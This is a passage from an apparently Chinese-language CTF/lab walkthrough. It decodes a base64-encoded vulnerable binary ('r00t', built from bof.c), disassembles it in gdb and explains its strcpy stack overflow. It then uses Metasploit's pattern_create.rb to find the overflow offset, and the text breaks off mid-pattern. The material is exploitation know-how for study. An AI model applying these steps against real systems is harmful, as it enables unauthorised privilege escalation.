&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 66&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 67&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 68&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/////AAAAAP////8AAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 69&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAEAAAAQAAAADAAAAPSCBAgNAAAAXIUECPX+/2+sgQQIBQAAADyCBAgGAAAAzIEECAoAAABY
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 70&lt;/span&gt;&lt;span class="cl"&gt;AAAACwAAABAAAAAVAAAAAAAAAAMAAAD0nwQIAgAAACgAAAAUAAAAEQAAABcAAADMggQIEQAAAMSC
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 71&lt;/span&gt;&lt;span class="cl"&gt;BAgSAAAACAAAABMAAAAIAAAA/v//b6SCBAj///9vAQAAAPD//2+UggQIAAAAAAAAAAAAAAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 72&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACifBAgAAAAAAAAAAEaDBAhWgwQI
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 73&lt;/span&gt;&lt;span class="cl"&gt;ZoMECHaDBAiGgwQIAAAAAAAAAABHQ0M6IChVYnVudHUvTGluYXJvIDQuNi4zLTF1YnVudHU1KSA0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 74&lt;/span&gt;&lt;span class="cl"&gt;LjYuMwAcAAAAAgAAAAAABAAAAAAARIQECGMAAAAAAAAAAAAAABEBAAACAAAAAAAEAUoAAAABcwAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 75&lt;/span&gt;&lt;span class="cl"&gt;AD8AAABEhAQIp4QECAAAAAACBAcfAAAAAgEILAAAAAICB1sAAAACBAcaAAAAAgEGLgAAAAICBXkA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 76&lt;/span&gt;&lt;span class="cl"&gt;AAADBAVpbnQAAggFAAAAAAIIBxUAAAACBAUFAAAABARxAAAAAgEGNQAAAAQEfgAAAAVxAAAABgE6
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 77&lt;/span&gt;&lt;span class="cl"&gt;AAAAAQMBTwAAAESEBAinhAQIAAAAAAIBAAAHVgAAAAEDTwAAAAKRAAeDAAAAAQMCAQAAApEECGJ1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 78&lt;/span&gt;&lt;span class="cl"&gt;ZgABBQgBAAACdBAJAQ4AAAACAAFrAAAAAecAAAAKawAAAAp4AAAAAAtWhAQIeIQECAwBbgAAAAIA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 79&lt;/span&gt;&lt;span class="cl"&gt;AQEKTwAAAAAAAAQEawAAAA1xAAAADiUAAAD/AAABEQElDhMLAw4bDhEBEgEQBgAAAiQACws+CwMO
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 80&lt;/span&gt;&lt;span class="cl"&gt;AAADJAALCz4LAwgAAAQPAAsLSRMAAAUmAEkTAAAGLgE/DAMOOgs7CycMSRMRARIBQAYBEwAABwUA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 81&lt;/span&gt;&lt;span class="cl"&gt;Aw46CzsLSRMCCgAACDQAAwg6CzsLSRMCCgAACS4BPwwDDjoLOwsnDEkTPAwBEwAACgUASRMAAAsL
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 82&lt;/span&gt;&lt;span class="cl"&gt;AREBEgEAAAwuAT8MAw46CzsLJww8DAAADQEBSRMAAA4hAEkTLwsAAABGAAAAAgAqAAAAAQH7Dg0A
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 83&lt;/span&gt;&lt;span class="cl"&gt;AQEBAQAAAAEAAAEAYm9mLmMAAAAAPGJ1aWx0LWluPgAAAAAAAAUCRIQECBS+aAhZvgh1CEsCAgAB
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 84&lt;/span&gt;&lt;span class="cl"&gt;AWxvbmcgbG9uZyBpbnQAc3RyY3B5AGxvbmcgbG9uZyB1bnNpZ25lZCBpbnQAdW5zaWduZWQgY2hh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 85&lt;/span&gt;&lt;span class="cl"&gt;cgBtYWluAC9ob21lL25vb2IAR05VIEMgNC42LjMAYXJnYwBzaG9ydCB1bnNpZ25lZCBpbnQAZXhp
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 86&lt;/span&gt;&lt;span class="cl"&gt;dABib2YuYwBzaG9ydCBpbnQAYXJndgAAAAAAAQAAAAIAdAQBAAAAAwAAAAIAdAgDAAAAYgAAAAIA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 87&lt;/span&gt;&lt;span class="cl"&gt;dQhiAAAAYwAAAAIAdAQAAAAAAAAAAAAuc3ltdGFiAC5zdHJ0YWIALnNoc3RydGFiAC5pbnRlcnAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 88&lt;/span&gt;&lt;span class="cl"&gt;Lm5vdGUuQUJJLXRhZwAubm90ZS5nbnUuYnVpbGQtaWQALmdudS5oYXNoAC5keW5zeW0ALmR5bnN0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 89&lt;/span&gt;&lt;span class="cl"&gt;cgAuZ251LnZlcnNpb24ALmdudS52ZXJzaW9uX3IALnJlbC5keW4ALnJlbC5wbHQALmluaXQALnRl
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 90&lt;/span&gt;&lt;span class="cl"&gt;eHQALmZpbmkALnJvZGF0YQAuZWhfZnJhbWVfaGRyAC5laF9mcmFtZQAuY3RvcnMALmR0b3JzAC5q
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 91&lt;/span&gt;&lt;span class="cl"&gt;Y3IALmR5bmFtaWMALmdvdAAuZ290LnBsdAAuZGF0YQAuYnNzAC5jb21tZW50AC5kZWJ1Z19hcmFu
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 92&lt;/span&gt;&lt;span class="cl"&gt;Z2VzAC5kZWJ1Z19pbmZvAC5kZWJ1Z19hYmJyZXYALmRlYnVnX2xpbmUALmRlYnVnX3N0cgAuZGVi
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 93&lt;/span&gt;&lt;span class="cl"&gt;dWdfbG9jAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGwAAAAEAAAAC
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 94&lt;/span&gt;&lt;span class="cl"&gt;AAAAVIEECFQBAAATAAAAAAAAAAAAAAABAAAAAAAAACMAAAAHAAAAAgAAAGiBBAhoAQAAIAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 95&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAABAAAAAAAAAAxAAAABwAAAAIAAACIgQQIiAEAACQAAAAAAAAAAAAAAAQAAAAAAAAARAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 96&lt;/span&gt;&lt;span class="cl"&gt;APb//28CAAAArIEECKwBAAAgAAAABQAAAAAAAAAEAAAABAAAAE4AAAALAAAAAgAAAMyBBAjMAQAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 97&lt;/span&gt;&lt;span class="cl"&gt;cAAAAAYAAAABAAAABAAAABAAAABWAAAAAwAAAAIAAAA8ggQIPAIAAFgAAAAAAAAAAAAAAAEAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 98&lt;/span&gt;&lt;span class="cl"&gt;AAAAXgAAAP///28CAAAAlIIECJQCAAAOAAAABQAAAAAAAAACAAAAAgAAAGsAAAD+//9vAgAAAKSC
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 99&lt;/span&gt;&lt;span class="cl"&gt;BAikAgAAIAAAAAYAAAABAAAABAAAAAAAAAB6AAAACQAAAAIAAADEggQIxAIAAAgAAAAFAAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;100&lt;/span&gt;&lt;span class="cl"&gt;AAQAAAAIAAAAgwAAAAkAAAACAAAAzIIECMwCAAAoAAAABQAAAAwAAAAEAAAACAAAAIwAAAABAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;101&lt;/span&gt;&lt;span class="cl"&gt;BgAAAPSCBAj0AgAALgAAAAAAAAAAAAAABAAAAAAAAACHAAAAAQAAAAYAAAAwgwQIMAMAAGAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;102&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAAABAAAAAEAAAAkgAAAAEAAAAGAAAAkIMECJADAADMAQAAAAAAAAAAAAAQAAAAAAAAAJgA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;103&lt;/span&gt;&lt;span class="cl"&gt;AAABAAAABgAAAFyFBAhcBQAAGgAAAAAAAAAAAAAABAAAAAAAAACeAAAAAQAAAAIAAAB4hQQIeAUA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;104&lt;/span&gt;&lt;span class="cl"&gt;ABwAAAAAAAAAAAAAAAQAAAAAAAAApgAAAAEAAAACAAAAlIUECJQFAAA0AAAAAAAAAAAAAAAEAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;105&lt;/span&gt;&lt;span class="cl"&gt;AAAAALQAAAABAAAAAgAAAMiFBAjIBQAAxAAAAAAAAAAAAAAABAAAAAAAAAC+AAAAAQAAAAMAAAAU
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;106&lt;/span&gt;&lt;span class="cl"&gt;nwQIFA8AAAgAAAAAAAAAAAAAAAQAAAAAAAAAxQAAAAEAAAADAAAAHJ8ECBwPAAAIAAAAAAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;107&lt;/span&gt;&lt;span class="cl"&gt;AAAEAAAAAAAAAMwAAAABAAAAAwAAACSfBAgkDwAABAAAAAAAAAAAAAAABAAAAAAAAADRAAAABgAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;108&lt;/span&gt;&lt;span class="cl"&gt;AAMAAAAonwQIKA8AAMgAAAAGAAAAAAAAAAQAAAAIAAAA2gAAAAEAAAADAAAA8J8ECPAPAAAEAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;109&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAAAAAEAAAABAAAAN8AAAABAAAAAwAAAPSfBAj0DwAAIAAAAAAAAAAAAAAABAAAAAQAAADo
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;110&lt;/span&gt;&lt;span class="cl"&gt;AAAAAQAAAAMAAAAUoAQIFBAAAAgAAAAAAAAAAAAAAAQAAAAAAAAA7gAAAAgAAAADAAAAHKAECBwQ
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;111&lt;/span&gt;&lt;span class="cl"&gt;AAAIAAAAAAAAAAAAAAAEAAAAAAAAAPMAAAABAAAAMAAAAAAAAAAcEAAAKgAAAAAAAAAAAAAAAQAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;112&lt;/span&gt;&lt;span class="cl"&gt;AAEAAAD8AAAAAQAAAAAAAAAAAAAARhAAACAAAAAAAAAAAAAAAAEAAAAAAAAACwEAAAEAAAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;113&lt;/span&gt;&lt;span class="cl"&gt;AAAAAGYQAAAVAQAAAAAAAAAAAAABAAAAAAAAABcBAAABAAAAAAAAAAAAAAB7EQAAtwAAAAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;114&lt;/span&gt;&lt;span class="cl"&gt;AAAAAQAAAAAAAAAlAQAAAQAAAAAAAAAAAAAAMhIAAEoAAAAAAAAAAAAAAAEAAAAAAAAAMQEAAAEA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;115&lt;/span&gt;&lt;span class="cl"&gt;AAAwAAAAAAAAAHwSAACIAAAAAAAAAAAAAAABAAAAAQAAADwBAAABAAAAAAAAAAAAAAAEEwAAOAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;116&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAAAAAAAQAAAAAAAAARAAAAAwAAAAAAAAAAAAAAPBMAAEcBAAAAAAAAAAAAAAEAAAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;117&lt;/span&gt;&lt;span class="cl"&gt;AQAAAAIAAAAAAAAAAAAAACQaAACQBAAAIwAAADMAAAAEAAAAEAAAAAkAAAADAAAAAAAAAAAAAAC0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;118&lt;/span&gt;&lt;span class="cl"&gt;HgAAHQIAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFSBBAgAAAAAAwABAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;119&lt;/span&gt;&lt;span class="cl"&gt;AABogQQIAAAAAAMAAgAAAAAAiIEECAAAAAADAAMAAAAAAKyBBAgAAAAAAwAEAAAAAADMgQQIAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;120&lt;/span&gt;&lt;span class="cl"&gt;AAMABQAAAAAAPIIECAAAAAADAAYAAAAAAJSCBAgAAAAAAwAHAAAAAACkggQIAAAAAAMACAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;121&lt;/span&gt;&lt;span class="cl"&gt;xIIECAAAAAADAAkAAAAAAMyCBAgAAAAAAwAKAAAAAAD0ggQIAAAAAAMACwAAAAAAMIMECAAAAAAD
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;122&lt;/span&gt;&lt;span class="cl"&gt;AAwAAAAAAJCDBAgAAAAAAwANAAAAAABchQQIAAAAAAMADgAAAAAAeIUECAAAAAADAA8AAAAAAJSF
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;123&lt;/span&gt;&lt;span class="cl"&gt;BAgAAAAAAwAQAAAAAADIhQQIAAAAAAMAEQAAAAAAFJ8ECAAAAAADABIAAAAAAByfBAgAAAAAAwAT
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;124&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAknwQIAAAAAAMAFAAAAAAAKJ8ECAAAAAADABUAAAAAAPCfBAgAAAAAAwAWAAAAAAD0nwQI
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;125&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAMAFwAAAAAAFKAECAAAAAADABgAAAAAABygBAgAAAAAAwAZAAAAAAAAAAAAAAAAAAMAGgAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;126&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAAAAAAAAADABsAAAAAAAAAAAAAAAAAAwAcAAAAAAAAAAAAAAAAAAMAHQAAAAAAAAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;127&lt;/span&gt;&lt;span class="cl"&gt;AAADAB4AAAAAAAAAAAAAAAAAAwAfAAAAAAAAAAAAAAAAAAMAIAABAAAAAAAAAAAAAAAEAPH/DAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;128&lt;/span&gt;&lt;span class="cl"&gt;ABSfBAgAAAAAAQASABoAAAAcnwQIAAAAAAEAEwAoAAAAJJ8ECAAAAAABABQANQAAAMCDBAgAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;129&lt;/span&gt;&lt;span class="cl"&gt;AgANAEsAAAAcoAQIAQAAAAEAGQBaAAAAIKAECAQAAAABABkAaAAAACCEBAgAAAAAAgANAAEAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;130&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAAAAQA8f90AAAAGJ8ECAAAAAABABIAgQAAAIiGBAgAAAAAAQARAI8AAAAknwQIAAAAAAEA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;131&lt;/span&gt;&lt;span class="cl"&gt;FACbAAAAMIUECAAAAAACAA0AsQAAAAAAAAAAAAAABADx/7cAAAAUnwQIAAAAAAAAEgDIAAAAKJ8E
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;132&lt;/span&gt;&lt;span class="cl"&gt;CAAAAAABABUA0QAAABSfBAgAAAAAAAASAOQAAAD0nwQIAAAAAAEAFwD6AAAAIIUECAIAAAASAA0A
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;133&lt;/span&gt;&lt;span class="cl"&gt;CgEAACKFBAgAAAAAEgINACEBAAAUoAQIAAAAACAAGAAsAQAAAAAAAAAAAAASAAAAPgEAABygBAgA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;134&lt;/span&gt;&lt;span class="cl"&gt;AAAAEADx/0UBAABchQQIAAAAABIADgBLAQAAAAAAAAAAAAASAAAAXQEAACCfBAgAAAAAEQITAGoB
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;135&lt;/span&gt;&lt;span class="cl"&gt;AAAUoAQIAAAAABAAGAB3AQAAAAAAAAAAAAAgAAAAhgEAAAAAAAAAAAAAEgAAAJYBAAAYoAQIAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;136&lt;/span&gt;&lt;span class="cl"&gt;ABECGACjAQAAfIUECAQAAAARAA8AsgEAAAAAAAAAAAAAEgAAAM8BAACwhAQIYQAAABIADQDfAQAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;137&lt;/span&gt;&lt;span class="cl"&gt;JKAECAAAAAAQAPH/5AEAAJCDBAgAAAAAEgANAOsBAAB4hQQIBAAAABEADwDyAQAAHKAECAAAAAAQ
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;138&lt;/span&gt;&lt;span class="cl"&gt;APH//gEAAESEBAhjAAAAEgANAAMCAAAAAAAAAAAAACAAAAAXAgAA9IIECAAAAAASAAsAAGNydHN0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;139&lt;/span&gt;&lt;span class="cl"&gt;dWZmLmMAX19DVE9SX0xJU1RfXwBfX0RUT1JfTElTVF9fAF9fSkNSX0xJU1RfXwBfX2RvX2dsb2Jh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;140&lt;/span&gt;&lt;span class="cl"&gt;bF9kdG9yc19hdXgAY29tcGxldGVkLjYxNTkAZHRvcl9pZHguNjE2MQBmcmFtZV9kdW1teQBfX0NU
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;141&lt;/span&gt;&lt;span class="cl"&gt;T1JfRU5EX18AX19GUkFNRV9FTkRfXwBfX0pDUl9FTkRfXwBfX2RvX2dsb2JhbF9jdG9yc19hdXgA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;142&lt;/span&gt;&lt;span class="cl"&gt;Ym9mLmMAX19pbml0X2FycmF5X2VuZABfRFlOQU1JQwBfX2luaXRfYXJyYXlfc3RhcnQAX0dMT0JB
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;143&lt;/span&gt;&lt;span class="cl"&gt;TF9PRkZTRVRfVEFCTEVfAF9fbGliY19jc3VfZmluaQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AGRh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;144&lt;/span&gt;&lt;span class="cl"&gt;dGFfc3RhcnQAcHJpbnRmQEBHTElCQ18yLjAAX2VkYXRhAF9maW5pAHN0cmNweUBAR0xJQkNfMi4w
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;145&lt;/span&gt;&lt;span class="cl"&gt;AF9fRFRPUl9FTkRfXwBfX2RhdGFfc3RhcnQAX19nbW9uX3N0YXJ0X18AZXhpdEBAR0xJQkNfMi4w
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;146&lt;/span&gt;&lt;span class="cl"&gt;AF9fZHNvX2hhbmRsZQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4w
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;147&lt;/span&gt;&lt;span class="cl"&gt;AF9fbGliY19jc3VfaW5pdABfZW5kAF9zdGFydABfZnBfaHcAX19ic3Nfc3RhcnQAbWFpbgBfSnZf
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;148&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;UmVnaXN0ZXJDbGFzc2VzAF9pbml0AA&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;然后再在kali中复制解码得到r00t的脚本内容&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;cat &lt;span class="p"&gt;|&lt;/span&gt;base64 -d &amp;gt; r00t
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;chmod +x door3/r00t
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 复制上面的base64内容，然后回车 ctrl D 结束&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250520093207841" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250520093207841.png"&gt;&lt;/p&gt;
&lt;p&gt;然后用gbd调试&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo apt install gdb
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;gdb r00t 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;disas main
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250520111527324" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250520111527324.png"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;strcpy&lt;/code&gt; 的作用&lt;/strong&gt;：
将源字符串复制到目标缓冲区，​&lt;strong&gt;​不检查目标缓冲区长度​&lt;/strong&gt;​，可能导致缓冲区溢出（Buffer Overflow）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;漏洞场景&lt;/strong&gt;：
如果目标缓冲区（如栈上的字符数组）较小，而源字符串过长，&lt;code&gt;strcpy&lt;/code&gt; 会覆盖栈上的返回地址（或其他关键数据），导致程序崩溃或被控制流劫持。&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;kali:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;ls /usr/share/metasploit-framework/tools/exploit
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;cp /usr/share/metasploit-framework/tools/exploit/pattern_create.rb ./
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;./pattern_create.rb -l &lt;span class="m"&gt;1000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;-----
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt;run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au